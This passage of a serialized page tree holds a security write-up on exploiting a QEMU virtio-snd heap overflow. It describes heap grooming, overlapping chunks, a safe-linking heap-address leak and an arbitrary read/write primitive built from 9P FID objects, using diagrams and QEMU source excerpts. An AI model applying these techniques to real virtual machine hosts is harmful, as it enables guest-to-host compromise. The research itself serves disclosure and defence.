",{"type":25,"tag":82,"props":133040,"children":133042},{"className":133041},[],[133043],{"type":31,"value":128186},{"type":31,"value":705},{"type":25,"tag":38,"props":133046,"children":133047},{},[133048,133050,133055,133057,133062],{"type":31,"value":133049},"With the desired heap layout of repeated ",{"type":25,"tag":82,"props":133051,"children":133053},{"className":133052},[],[133054],{"type":31,"value":131740},{"type":31,"value":133056},"-sized ",{"type":25,"tag":82,"props":133058,"children":133060},{"className":133059},[],[133061],{"type":31,"value":131838},{"type":31,"value":133063}," chunks in place, we can then free every other one:",{"type":25,"tag":206,"props":133065,"children":133067},{"code":133066},"               Free                  Free\n+----------+----------+----------+----------+----------+\n|          |..........|          |..........|          |\n| .value A |..........| .value C |..........| .value E |\n|          |..........|          |..........|          |\n+----------+----------+----------+----------+----------+\n",[133068],{"type":25,"tag":82,"props":133069,"children":133070},{"__ignoreMap":7},[133071],{"type":31,"value":133066},{"type":25,"tag":38,"props":133073,"children":133074},{},[133075,133077,133082],{"type":31,"value":133076},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":25,"tag":82,"props":133078,"children":133080},{"className":133079},[],[133081],{"type":31,"value":131838},{"type":31,"value":133083}," chunk directly next to it:",{"type":25,"tag":206,"props":133085,"children":133087},{"code":133086},"           +----------+\n           |          |              Free\n+----------|  buffer  |----------+----------+----------+\n|          |          |          |..........|          |\n| .value A +----------+ .value C |..........| .value E |\n|          |          |          |..........|          |\n+----------+          +----------+----------+----------+\n",[133088],{"type":25,"tag":82,"props":133089,"children":133090},{"__ignoreMap":7},[133091],{"type":31,"value":133086},{"type":25,"tag":38,"props":133093,"children":133094},{},[133095,133097,133102,133104,133109],{"type":31,"value":133096},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":25,"tag":82,"props":133098,"children":133100},{"className":133099},[],[133101],{"type":31,"value":131740},{"type":31,"value":133103},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":25,"tag":82,"props":133105,"children":133107},{"className":133106},[],[133108],{"type":31,"value":131838},{"type":31,"value":133110}," chunk now has a corrupted and likely oversized size field:",{"type":25,"tag":206,"props":133112,"children":133114},{"code":133113},"                      Oversized chunk\n                             |\n                      +------+------+\n                      |             |\n                      v             v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value C | .value Y | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[133115],{"type":25,"tag":82,"props":133116,"children":133117},{"__ignoreMap":7},[133118],{"type":31,"value":133113},{"type":25,"tag":38,"props":133120,"children":133121},{},[133122,133124,133129],{"type":31,"value":133123},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":25,"tag":82,"props":133125,"children":133127},{"className":133126},[],[133128],{"type":31,"value":131755},{"type":31,"value":1466},{"type":25,"tag":206,"props":133131,"children":133133},{"code":133132},"                           Free\n                        0x210-0x2f0\n                             |\n                      +------+------+\n   Free               |             |          Free\n   0x200              v             v          0x200\n+----------+----------+----------+----------+----------+\n|..........|          |..........|          |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........|          |..........|          |..........|\n+----------+----------+----------+----------+----------+\n",[133134],{"type":25,"tag":82,"props":133135,"children":133136},{"__ignoreMap":7},[133137],{"type":31,"value":133132},{"type":25,"tag":38,"props":133139,"children":133140},{},[133141,133143,133148],{"type":31,"value":133142},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":25,"tag":82,"props":133144,"children":133146},{"className":133145},[],[133147],{"type":31,"value":131755},{"type":31,"value":24696},{"type":25,"tag":206,"props":133150,"children":133152},{"code":133151},"                         .value B\n                      +-------------+\n                      |             |\n                      v             v\n+----------+----------+----------+--+-------+----------+\n|          |          |          |//|       |          |\n| .value A | .value X |          |//|       | .value C |\n|          |          |          |//|       |          |\n+----------+----------+----------+--+-------+----------+\n                                 ^          ^\n                                 |          |\n                                 +----------+\n                                   .value Y\n",[133153],{"type":25,"tag":82,"props":133154,"children":133155},{"__ignoreMap":7},[133156],{"type":31,"value":133151},{"type":25,"tag":38,"props":133158,"children":133159},{},[133160,133162,133168],{"type":31,"value":133161},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":25,"tag":82,"props":133163,"children":133165},{"className":133164},[],[133166],{"type":31,"value":133167},"0x400",{"type":31,"value":133169}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":25,"tag":206,"props":133171,"children":133173},{"code":133172},"                                    .value Y extended\n                                            |\n                                 +----------+----------+\n                                 |                     |\n                                 v                     v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value B | .value Y | .value C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[133174],{"type":25,"tag":82,"props":133175,"children":133176},{"__ignoreMap":7},[133177],{"type":31,"value":133172},{"type":25,"tag":607,"props":133179,"children":133181},{"id":133180},"leaking-a-heap-address",[133182],{"type":31,"value":133183},"Leaking a Heap Address",{"type":25,"tag":38,"props":133185,"children":133186},{},[133187],{"type":31,"value":133188},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":25,"tag":38,"props":133190,"children":133191},{},[133192,133194,133200],{"type":31,"value":133193},"To do this, we abuse the forward (",{"type":25,"tag":82,"props":133195,"children":133197},{"className":133196},[],[133198],{"type":31,"value":133199},"fd",{"type":31,"value":133201},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":25,"tag":206,"props":133203,"children":133205},{"code":133204},"fd = next ^ (curr >> 12)\n",[133206],{"type":25,"tag":82,"props":133207,"children":133208},{"__ignoreMap":7},[133209],{"type":31,"value":133204},{"type":25,"tag":38,"props":133211,"children":133212},{},[133213,133215,133220,133221,133226],{"type":31,"value":133214},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":25,"tag":82,"props":133216,"children":133218},{"className":133217},[],[133219],{"type":31,"value":61527},{"type":31,"value":1674},{"type":25,"tag":82,"props":133222,"children":133224},{"className":133223},[],[133225],{"type":31,"value":58458},{"type":31,"value":133227}," because there is no following entry. In that case, the encoding becomes:",{"type":25,"tag":206,"props":133229,"children":133231},{"code":133230},"fd = 0 ^ (curr >> 12)\n",[133232],{"type":25,"tag":82,"props":133233,"children":133234},{"__ignoreMap":7},[133235],{"type":31,"value":133230},{"type":25,"tag":38,"props":133237,"children":133238},{},[133239,133241,133246],{"type":31,"value":133240},"So if we free a single chunk into an empty tcache bin, its ",{"type":25,"tag":82,"props":133242,"children":133244},{"className":133243},[],[133245],{"type":31,"value":133199},{"type":31,"value":133247}," field is effectively just the chunk address shifted right by 12.",{"type":25,"tag":38,"props":133249,"children":133250},{},[133251],{"type":31,"value":133252},"In the overlap we achieved earlier:",{"type":25,"tag":206,"props":133254,"children":133256},{"code":133255},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+--------------------+\n|                    |                    |\n|      .value Y      |      .value C      |\n|                    |                    |\n+--------------------+--------------------+\n",[133257],{"type":25,"tag":82,"props":133258,"children":133259},{"__ignoreMap":7},[133260],{"type":31,"value":133255},{"type":25,"tag":38,"props":133262,"children":133263},{},[133264,133266,133272,133274,133280,133282,133288,133290,133295],{"type":31,"value":133265},"We first free ",{"type":25,"tag":82,"props":133267,"children":133269},{"className":133268},[],[133270],{"type":31,"value":133271},".value C",{"type":31,"value":133273}," into tcache and read its contents through the oversized ",{"type":25,"tag":82,"props":133275,"children":133277},{"className":133276},[],[133278],{"type":31,"value":133279},".value Y",{"type":31,"value":133281},". This gives us ",{"type":25,"tag":82,"props":133283,"children":133285},{"className":133284},[],[133286],{"type":31,"value":133287},".value C >> 12",{"type":31,"value":133289},". That is not yet the exact address of ",{"type":25,"tag":82,"props":133291,"children":133293},{"className":133292},[],[133294],{"type":31,"value":133271},{"type":31,"value":133296},", since the lower 12 bits are lost.",{"type":25,"tag":38,"props":133298,"children":133299},{},[133300,133302,133307,133309,133314,133316,133321,133323,133328],{"type":31,"value":133301},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":25,"tag":82,"props":133303,"children":133305},{"className":133304},[],[133306],{"type":31,"value":133271},{"type":31,"value":133308},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":25,"tag":82,"props":133310,"children":133312},{"className":133311},[],[133313],{"type":31,"value":133271},{"type":31,"value":133315}," again. This time, ",{"type":25,"tag":82,"props":133317,"children":133319},{"className":133318},[],[133320],{"type":31,"value":61527},{"type":31,"value":133322}," is no longer ",{"type":25,"tag":82,"props":133324,"children":133326},{"className":133325},[],[133327],{"type":31,"value":58458},{"type":31,"value":133329},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":25,"tag":206,"props":133331,"children":133332},{"code":133204},[133333],{"type":25,"tag":82,"props":133334,"children":133335},{"__ignoreMap":7},[133336],{"type":31,"value":133204},{"type":25,"tag":38,"props":133338,"children":133339},{},[133340,133342,133348,133350,133355,133357,133362,133364,133369],{"type":31,"value":133341},"Since we already know ",{"type":25,"tag":82,"props":133343,"children":133345},{"className":133344},[],[133346],{"type":31,"value":133347},"curr >> 12",{"type":31,"value":133349}," from the first leak, we can read the new ",{"type":25,"tag":82,"props":133351,"children":133353},{"className":133352},[],[133354],{"type":31,"value":133199},{"type":31,"value":133356}," value from ",{"type":25,"tag":82,"props":133358,"children":133360},{"className":133359},[],[133361],{"type":31,"value":133271},{"type":31,"value":133363}," and recover the exact address of ",{"type":25,"tag":82,"props":133365,"children":133367},{"className":133366},[],[133368],{"type":31,"value":61527},{"type":31,"value":133370}," by reversing the XOR:",{"type":25,"tag":206,"props":133372,"children":133374},{"code":133373},"next = fd ^ (curr >> 12)\n",[133375],{"type":25,"tag":82,"props":133376,"children":133377},{"__ignoreMap":7},[133378],{"type":31,"value":133373},{"type":25,"tag":38,"props":133380,"children":133381},{},[133382],{"type":31,"value":133383},"This gives us the exact address of a heap chunk whose contents we control.",{"type":25,"tag":607,"props":133385,"children":133387},{"id":133386},"arbitrary-read-and-write",[133388],{"type":31,"value":133389},"Arbitrary Read and Write",{"type":25,"tag":38,"props":133391,"children":133392},{},[133393,133395,133400],{"type":31,"value":133394},"Having a controlled chunk at a known address lets us repurpose ",{"type":25,"tag":82,"props":133396,"children":133398},{"className":133397},[],[133399],{"type":31,"value":133271},{"type":31,"value":133401}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":25,"tag":38,"props":133403,"children":133404},{},[133405,133407,133412],{"type":31,"value":133406},"Recall ",{"type":25,"tag":82,"props":133408,"children":133410},{"className":133409},[],[133411],{"type":31,"value":131875},{"type":31,"value":1466},{"type":25,"tag":206,"props":133414,"children":133416},{"code":133415,"language":2248,"meta":7,"className":20467,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    uint64_t size;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n\n    [...]\n\n    file_fidp = get_fid(pdu, fid);\n\n    [...]\n\n    /* Make the file fid point to xattr */\n    xattr_fidp = file_fidp;\n    xattr_fidp->fs.xattr.len = size;\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n    [...]\n",[133417],{"type":25,"tag":82,"props":133418,"children":133419},{"__ignoreMap":7},[133420,133459,133466,133477,133492,133507,133514,133521,133528,133550,133557,133564,133571,133579,133596,133635,133678,133685],{"type":25,"tag":216,"props":133421,"children":133422},{"class":6916,"line":6917},[133423,133427,133431,133435,133439,133443,133447,133451,133455],{"type":25,"tag":216,"props":133424,"children":133425},{"style":6930},[133426],{"type":31,"value":55007},{"type":25,"tag":216,"props":133428,"children":133429},{"style":6930},[133430],{"type":31,"value":55012},{"type":25,"tag":216,"props":133432,"children":133433},{"style":6958},[133434],{"type":31,"value":131870},{"type":25,"tag":216,"props":133436,"children":133437},{"style":7041},[133438],{"type":31,"value":131875},{"type":25,"tag":216,"props":133440,"children":133441},{"style":6958},[133442],{"type":31,"value":1844},{"type":25,"tag":216,"props":133444,"children":133445},{"style":6930},[133446],{"type":31,"value":55589},{"type":25,"tag":216,"props":133448,"children":133449},{"style":6947},[133450],{"type":31,"value":13767},{"type":25,"tag":216,"props":133452,"children":133453},{"style":6941},[133454],{"type":31,"value":131892},{"type":25,"tag":216,"props":133456,"children":133457},{"style":6958},[133458],{"type":31,"value":7101},{"type":25,"tag":216,"props":133460,"children":133461},{"class":6916,"line":6763},[133462],{"type":25,"tag":216,"props":133463,"children":133464},{"style":6958},[133465],{"type":31,"value":14830},{"type":25,"tag":216,"props":133467,"children":133468},{"class":6916,"line":6772},[133469,133473],{"type":25,"tag":216,"props":133470,"children":133471},{"style":6930},[133472],{"type":31,"value":59575},{"type":25,"tag":216,"props":133474,"children":133475},{"style":6958},[133476],{"type":31,"value":128528},{"type":25,"tag":216,"props":133478,"children":133479},{"class":6916,"line":6999},[133480,133484,133488],{"type":25,"tag":216,"props":133481,"children":133482},{"style":6958},[133483],{"type":31,"value":132017},{"type":25,"tag":216,"props":133485,"children":133486},{"style":6947},[133487],{"type":31,"value":8513},{"type":25,"tag":216,"props":133489,"children":133490},{"style":6958},[133491],{"type":31,"value":132026},{"type":25,"tag":216,"props":133493,"children":133494},{"class":6916,"line":7104},[133495,133499,133503],{"type":25,"tag":216,"props":133496,"children":133497},{"style":6958},[133498],{"type":31,"value":132017},{"type":25,"tag":216,"props":133500,"children":133501},{"style":6947},[133502],{"type":31,"value":8513},{"type":25,"tag":216,"props":133504,"children":133505},{"style":6958},[133506],{"type":31,"value":132042},{"type":25,"tag":216,"props":133508,"children":133509},{"class":6916,"line":7210},[133510],{"type":25,"tag":216,"props":133511,"children":133512},{"emptyLinePlaceholder":16},[133513],{"type":31,"value":7636},{"type":25,"tag":216,"props":133515,"children":133516},{"class":6916,"line":7238},[133517],{"type":25,"tag":216,"props":133518,"children":133519},{"style":6958},[133520],{"type":31,"value":108753},{"type":25,"tag":216,"props":133522,"children":133523},{"class":6916,"line":7251},[133524],{"type":25,"tag":216,"props":133525,"children":133526},{"emptyLinePlaceholder":16},[133527],{"type":31,"value":7636},{"type":25,"tag":216,"props":133529,"children":133530},{"class":6916,"line":7269},[133531,133536,133540,133545],{"type":25,"tag":216,"props":133532,"children":133533},{"style":6958},[133534],{"type":31,"value":133535},"    file_fidp ",{"type":25,"tag":216,"props":133537,"children":133538},{"style":6947},[133539],{"type":31,"value":266},{"type":25,"tag":216,"props":133541,"children":133542},{"style":7041},[133543],{"type":31,"value":133544}," get_fid",{"type":25,"tag":216,"props":133546,"children":133547},{"style":6958},[133548],{"type":31,"value":133549},"(pdu, fid);\n",{"type":25,"tag":216,"props":133551,"children":133552},{"class":6916,"line":7290},[133553],{"type":25,"tag":216,"props":133554,"children":133555},{"emptyLinePlaceholder":16},[133556],{"type":31,"value":7636},{"type":25,"tag":216,"props":133558,"children":133559},{"class":6916,"line":7299},[133560],{"type":25,"tag":216,"props":133561,"children":133562},{"style":6958},[133563],{"type":31,"value":108753},{"type":25,"tag":216,"props":133565,"children":133566},{"class":6916,"line":7551},[133567],{"type":25,"tag":216,"props":133568,"children":133569},{"emptyLinePlaceholder":16},[133570],{"type":31,"value":7636},{"type":25,"tag":216,"props":133572,"children":133573},{"class":6916,"line":7568},[133574],{"type":25,"tag":216,"props":133575,"children":133576},{"style":6921},[133577],{"type":31,"value":133578},"    /* Make the file fid point to xattr */\n",{"type":25,"tag":216,"props":133580,"children":133581},{"class":6916,"line":7585},[133582,133587,133591],{"type":25,"tag":216,"props":133583,"children":133584},{"style":6958},[133585],{"type":31,"value":133586},"    xattr_fidp ",{"type":25,"tag":216,"props":133588,"children":133589},{"style":6947},[133590],{"type":31,"value":266},{"type":25,"tag":216,"props":133592,"children":133593},{"style":6958},[133594],{"type":31,"value":133595}," file_fidp;\n",{"type":25,"tag":216,"props":133597,"children":133598},{"class":6916,"line":7598},[133599,133603,133607,133611,133615,133619,133623,133627,133631],{"type":25,"tag":216,"props":133600,"children":133601},{"style":6941},[133602],{"type":31,"value":132420},{"type":25,"tag":216,"props":133604,"children":133605},{"style":6958},[133606],{"type":31,"value":17708},{"type":25,"tag":216,"props":133608,"children":133609},{"style":6941},[133610],{"type":31,"value":40939},{"type":25,"tag":216,"props":133612,"children":133613},{"style":6958},[133614],{"type":31,"value":179},{"type":25,"tag":216,"props":133616,"children":133617},{"style":6941},[133618],{"type":31,"value":132344},{"type":25,"tag":216,"props":133620,"children":133621},{"style":6958},[133622],{"type":31,"value":179},{"type":25,"tag":216,"props":133624,"children":133625},{"style":6941},[133626],{"type":31,"value":13088},{"type":25,"tag":216,"props":133628,"children":133629},{"style":6947},[133630],{"type":31,"value":6950},{"type":25,"tag":216,"props":133632,"children":133633},{"style":6958},[133634],{"type":31,"value":128528},{"type":25,"tag":216,"props":133636,"children":133637},{"class":6916,"line":7607},[133638,133642,133646,133650,133654,133658,133662,133666,133670,133674],{"type":25,"tag":216,"props":133639,"children":133640},{"style":6941},[133641],{"type":31,"value":132420},{"type":25,"tag":216,"props":133643,"children":133644},{"style":6958},[133645],{"type":31,"value":17708},{"type":25,"tag":216,"props":133647,"children":133648},{"style":6941},[133649],{"type":31,"value":40939},{"type":25,"tag":216,"props":133651,"children":133652},{"style":6958},[133653],{"type":31,"value":179},{"type":25,"tag":216,"props":133655,"children":133656},{"style":6941},[133657],{"type":31,"value":132344},{"type":25,"tag":216,"props":133659,"children":133660},{"style":6958},[133661],{"type":31,"value":179},{"type":25,"tag":216,"props":133663,"children":133664},{"style":6941},[133665],{"type":31,"value":43109},{"type":25,"tag":216,"props":133667,"children":133668},{"style":6947},[133669],{"type":31,"value":6950},{"type":25,"tag":216,"props":133671,"children":133672},{"style":7041},[133673],{"type":31,"value":128099},{"type":25,"tag":216,"props":133675,"children":133676},{"style":6958},[133677],{"type":31,"value":132457},{"type":25,"tag":216,"props":133679,"children":133680},{"class":6916,"line":7630},[133681],{"type":25,"tag":216,"props":133682,"children":133683},{"emptyLinePlaceholder":16},[133684],{"type":31,"value":7636},{"type":25,"tag":216,"props":133686,"children":133687},{"class":6916,"line":7639},[133688],{"type":25,"tag":216,"props":133689,"children":133690},{"style":6958},[133691],{"type":31,"value":108753},{"type":25,"tag":38,"props":133693,"children":133694},{},[133695,133697,133703,133705,133710,133711,133716,133718,133723,133725,133731,133732,133738,133740,133745,133746,133751],{"type":31,"value":133696},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":25,"tag":82,"props":133698,"children":133700},{"className":133699},[],[133701],{"type":31,"value":133702},"V9fsFidState",{"type":31,"value":133704}," object. In other words, if we can place a ",{"type":25,"tag":82,"props":133706,"children":133708},{"className":133707},[],[133709],{"type":31,"value":133702},{"type":31,"value":5587},{"type":25,"tag":82,"props":133712,"children":133714},{"className":133713},[],[133715],{"type":31,"value":133271},{"type":31,"value":133717}," currently sits, the overlapping ",{"type":25,"tag":82,"props":133719,"children":133721},{"className":133720},[],[133722],{"type":31,"value":133279},{"type":31,"value":133724}," chunk can overwrite ",{"type":25,"tag":82,"props":133726,"children":133728},{"className":133727},[],[133729],{"type":31,"value":133730},"V9fsFidState.fs.xattr.value",{"type":31,"value":1301},{"type":25,"tag":82,"props":133733,"children":133735},{"className":133734},[],[133736],{"type":31,"value":133737},"V9fsFidState.fs.xattr.len",{"type":31,"value":133739},". That would immediately give us arbitrary read and write through ",{"type":25,"tag":82,"props":133741,"children":133743},{"className":133742},[],[133744],{"type":31,"value":132533},{"type":31,"value":1301},{"type":25,"tag":82,"props":133747,"children":133749},{"className":133748},[],[133750],{"type":31,"value":132525},{"type":31,"value":179},{"type":25,"tag":38,"props":133753,"children":133754},{},[133755,133757,133762,133763,133768,133770,133775,133777,133783,133785,133790,133792,133797,133799,133804,133806,133811,133813,133818],{"type":31,"value":133756},"At this point, ",{"type":25,"tag":82,"props":133758,"children":133760},{"className":133759},[],[133761],{"type":31,"value":133271},{"type":31,"value":19395},{"type":25,"tag":82,"props":133764,"children":133766},{"className":133765},[],[133767],{"type":31,"value":131740},{"type":31,"value":133769}," chunk, while ",{"type":25,"tag":82,"props":133771,"children":133773},{"className":133772},[],[133774],{"type":31,"value":133702},{"type":31,"value":133776}," falls into the ",{"type":25,"tag":82,"props":133778,"children":133780},{"className":133779},[],[133781],{"type":31,"value":133782},"0x120",{"type":31,"value":133784}," size class. Before freeing ",{"type":25,"tag":82,"props":133786,"children":133788},{"className":133787},[],[133789],{"type":31,"value":133271},{"type":31,"value":133791},", we therefore use the oversized ",{"type":25,"tag":82,"props":133793,"children":133795},{"className":133794},[],[133796],{"type":31,"value":133279},{"type":31,"value":133798}," chunk to change its size to match ",{"type":25,"tag":82,"props":133800,"children":133802},{"className":133801},[],[133803],{"type":31,"value":133702},{"type":31,"value":133805},". Once ",{"type":25,"tag":82,"props":133807,"children":133809},{"className":133808},[],[133810],{"type":31,"value":133271},{"type":31,"value":133812}," is freed, it is inserted into the ",{"type":25,"tag":82,"props":133814,"children":133816},{"className":133815},[],[133817],{"type":31,"value":133782},{"type":31,"value":133819}," tcache bin.",{"type":25,"tag":206,"props":133821,"children":133823},{"code":133822},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                          Free           |\nv                          0x120          v\n+--------------------+---------------+----+\n|                    |...............|    |\n|      .value Y      |...............|    |\n|                    |...............|    |\n+--------------------+---------------+----+\n",[133824],{"type":25,"tag":82,"props":133825,"children":133826},{"__ignoreMap":7},[133827],{"type":31,"value":133822},{"type":25,"tag":38,"props":133829,"children":133830},{},[133831,133833,133838,133840,133846,133848,133854,133856,133861],{"type":31,"value":133832},"After that, we can simply allocate a new ",{"type":25,"tag":82,"props":133834,"children":133836},{"className":133835},[],[133837],{"type":31,"value":133702},{"type":31,"value":133839}," with a ",{"type":25,"tag":82,"props":133841,"children":133843},{"className":133842},[],[133844],{"type":31,"value":133845},"P9_TWALK",{"type":31,"value":133847}," request and a fresh FID - this reaches ",{"type":25,"tag":82,"props":133849,"children":133851},{"className":133850},[],[133852],{"type":31,"value":133853},"alloc_fid",{"type":31,"value":133855},", which allocates a new ",{"type":25,"tag":82,"props":133857,"children":133859},{"className":133858},[],[133860],{"type":31,"value":133702},{"type":31,"value":1466},{"type":25,"tag":206,"props":133863,"children":133865},{"code":133864,"language":2248,"meta":7,"className":20467,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n    V9fsFidState *fidp;\n    V9fsFidState *newfidp = NULL;\n\n    [...]\n\n    if (fid == newfid) {\n        [...]\n    } else {\n        newfidp = alloc_fid(s, newfid);\n        if (newfidp == NULL) {\n            err = -EINVAL;\n            goto out;\n        }\n        newfidp->uid = fidp->uid;\n        v9fs_path_copy(&newfidp->path, &path);\n    }\n\n    [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n    V9fsFidState *f;\n\n    f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n    if (f) {\n        /* If fid is already there return NULL */\n        BUG_ON(f->clunked);\n        return NULL;\n    }\n    f = g_new0(V9fsFidState, 1);\n\n    [...]\n",[133866],{"type":25,"tag":82,"props":133867,"children":133868},{"__ignoreMap":7},[133869,133909,133916,133932,133960,133967,133974,133981,134002,134009,134024,134046,134070,134091,134102,134109,134147,134189,134196,134203,134210,134217,134224,134275,134282,134297,134304,134352,134364,134372,134401,134416,134423,134452,134459],{"type":25,"tag":216,"props":133870,"children":133871},{"class":6916,"line":6917},[133872,133876,133880,133884,133889,133893,133897,133901,133905],{"type":25,"tag":216,"props":133873,"children":133874},{"style":6930},[133875],{"type":31,"value":55007},{"type":25,"tag":216,"props":133877,"children":133878},{"style":6930},[133879],{"type":31,"value":55012},{"type":25,"tag":216,"props":133881,"children":133882},{"style":6958},[133883],{"type":31,"value":131870},{"type":25,"tag":216,"props":133885,"children":133886},{"style":7041},[133887],{"type":31,"value":133888},"v9fs_walk",{"type":25,"tag":216,"props":133890,"children":133891},{"style":6958},[133892],{"type":31,"value":1844},{"type":25,"tag":216,"props":133894,"children":133895},{"style":6930},[133896],{"type":31,"value":55589},{"type":25,"tag":216,"props":133898,"children":133899},{"style":6947},[133900],{"type":31,"value":13767},{"type":25,"tag":216,"props":133902,"children":133903},{"style":6941},[133904],{"type":31,"value":131892},{"type":25,"tag":216,"props":133906,"children":133907},{"style":6958},[133908],{"type":31,"value":7101},{"type":25,"tag":216,"props":133910,"children":133911},{"class":6916,"line":6763},[133912],{"type":25,"tag":216,"props":133913,"children":133914},{"style":6958},[133915],{"type":31,"value":14830},{"type":25,"tag":216,"props":133917,"children":133918},{"class":6916,"line":6772},[133919,133923,133927],{"type":25,"tag":216,"props":133920,"children":133921},{"style":6958},[133922],{"type":31,"value":132017},{"type":25,"tag":216,"props":133924,"children":133925},{"style":6947},[133926],{"type":31,"value":8513},{"type":25,"tag":216,"props":133928,"children":133929},{"style":6958},[133930],{"type":31,"value":133931},"fidp;\n",{"type":25,"tag":216,"props":133933,"children":133934},{"class":6916,"line":6999},[133935,133939,133943,133948,133952,133956],{"type":25,"tag":216,"props":133936,"children":133937},{"style":6958},[133938],{"type":31,"value":132017},{"type":25,"tag":216,"props":133940,"children":133941},{"style":6947},[133942],{"type":31,"value":8513},{"type":25,"tag":216,"props":133944,"children":133945},{"style":6958},[133946],{"type":31,"value":133947},"newfidp ",{"type":25,"tag":216,"props":133949,"children":133950},{"style":6947},[133951],{"type":31,"value":266},{"type":25,"tag":216,"props":133953,"children":133954},{"style":6930},[133955],{"type":31,"value":131696},{"type":25,"tag":216,"props":133957,"children":133958},{"style":6958},[133959],{"type":31,"value":6961},{"type":25,"tag":216,"props":133961,"children":133962},{"class":6916,"line":7104},[133963],{"type":25,"tag":216,"props":133964,"children":133965},{"emptyLinePlaceholder":16},[133966],{"type":31,"value":7636},{"type":25,"tag":216,"props":133968,"children":133969},{"class":6916,"line":7210},[133970],{"type":25,"tag":216,"props":133971,"children":133972},{"style":6958},[133973],{"type":31,"value":108753},{"type":25,"tag":216,"props":133975,"children":133976},{"class":6916,"line":7238},[133977],{"type":25,"tag":216,"props":133978,"children":133979},{"emptyLinePlaceholder":16},[133980],{"type":31,"value":7636},{"type":25,"tag":216,"props":133982,"children":133983},{"class":6916,"line":7251},[133984,133988,133993,133997],{"type":25,"tag":216,"props":133985,"children":133986},{"style":6967},[133987],{"type":31,"value":16229},{"type":25,"tag":216,"props":133989,"children":133990},{"style":6958},[133991],{"type":31,"value":133992}," (fid ",{"type":25,"tag":216,"props":133994,"children":133995},{"style":6947},[133996],{"type":31,"value":12522},{"type":25,"tag":216,"props":133998,"children":133999},{"style":6958},[134000],{"type":31,"value":134001}," newfid) {\n",{"type":25,"tag":216,"props":134003,"children":134004},{"class":6916,"line":7269},[134005],{"type":25,"tag":216,"props":134006,"children":134007},{"style":6958},[134008],{"type":31,"value":127965},{"type":25,"tag":216,"props":134010,"children":134011},{"class":6916,"line":7290},[134012,134016,134020],{"type":25,"tag":216,"props":134013,"children":134014},{"style":6958},[134015],{"type":31,"value":19731},{"type":25,"tag":216,"props":134017,"children":134018},{"style":6967},[134019],{"type":31,"value":7262},{"type":25,"tag":216,"props":134021,"children":134022},{"style":6958},[134023],{"type":31,"value":7235},{"type":25,"tag":216,"props":134025,"children":134026},{"class":6916,"line":7299},[134027,134032,134036,134041],{"type":25,"tag":216,"props":134028,"children":134029},{"style":6958},[134030],{"type":31,"value":134031},"        newfidp ",{"type":25,"tag":216,"props":134033,"children":134034},{"style":6947},[134035],{"type":31,"value":266},{"type":25,"tag":216,"props":134037,"children":134038},{"style":7041},[134039],{"type":31,"value":134040}," alloc_fid",{"type":25,"tag":216,"props":134042,"children":134043},{"style":6958},[134044],{"type":31,"value":134045},"(s, newfid);\n",{"type":25,"tag":216,"props":134047,"children":134048},{"class":6916,"line":7551},[134049,134053,134058,134062,134066],{"type":25,"tag":216,"props":134050,"children":134051},{"style":6967},[134052],{"type":31,"value":7216},{"type":25,"tag":216,"props":134054,"children":134055},{"style":6958},[134056],{"type":31,"value":134057}," (newfidp ",{"type":25,"tag":216,"props":134059,"children":134060},{"style":6947},[134061],{"type":31,"value":12522},{"type":25,"tag":216,"props":134063,"children":134064},{"style":6930},[134065],{"type":31,"value":131696},{"type":25,"tag":216,"props":134067,"children":134068},{"style":6958},[134069],{"type":31,"value":18755},{"type":25,"tag":216,"props":134071,"children":134072},{"class":6916,"line":7568},[134073,134078,134082,134086],{"type":25,"tag":216,"props":134074,"children":134075},{"style":6958},[134076],{"type":31,"value":134077},"            err 